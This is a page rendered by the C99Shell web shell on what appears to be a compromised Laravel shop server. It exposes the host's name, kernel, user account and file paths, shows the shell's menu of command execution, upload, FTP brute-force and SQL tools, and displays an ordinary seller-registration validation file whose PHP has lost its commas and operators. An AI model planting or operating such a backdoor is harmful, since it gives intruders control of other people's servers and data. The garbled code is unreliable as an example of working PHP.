!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Requests/Site/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StoreSellerRequest.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Requests\Site;

use 
App\Rules\CheckValidEmail;
use 
App\Rules\CheckValidFile;
use 
App\Rules\CheckValidPhone;
use 
App\Rules\StrengthPassword;
use 
Illuminate\Foundation\Http\FormRequest;
use 
Illuminate\Support\Str;
use 
Modules\Shop\Http\Models\Shop;

class 
StoreSellerRequest extends FormRequest
{
    
/**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    
public function authorize()
    {
        return 
true;
    }

    
/**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    
public function rules()
    {
        return [
            
'name'      => ['required''min:3''max:191'],
            
'email'     => ['required''max:191', new CheckValidEmail],
            
'password'  => ['required''max:191''confirmed', new StrengthPassword],
            
'phone'     => ['required''min:10''max:45', new CheckValidPhone],
            
'logo'      => ['nullable', new CheckValidFile(getFileExtensions(3))],
            
'city'      => ['required''max:100'],
            
'post_code' => ['required''max:10'],
            
'country'   => ['required''max:100'],
            
'state'     => ['required''max:100'],
            
'shop_name' => ['required''max:100''unique:shops,name'],
            
'address'   => ['required''max:191'],
        ];
    }

    
/**
     * Get custom attributes for validator errors.
     *
     * @return array
     */
    
public function attributes()
    {
        return [
            
'email' => __('Email Address'),
            
'name' => __('First and last name'),
        ];
    }

    
/**
     * Prepare the data for validation.
     *
     * @return void
     */
    
protected function prepareForValidation()
    {
        
$alias Shop::whereAlias($alias Str::slug($this->f_name ' ' $this->l_name))->exists() ? $alias strtolower(Str::random(4)) : $alias;
        
$this->merge([
            
'name' => $this->f_name ' ' $this->l_name,
            
'status' => 'Pending',
            
'activation_code' => Str::random(10),
            
'activation_otp' => random_int(11119999),
            
'alias' => $alias,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--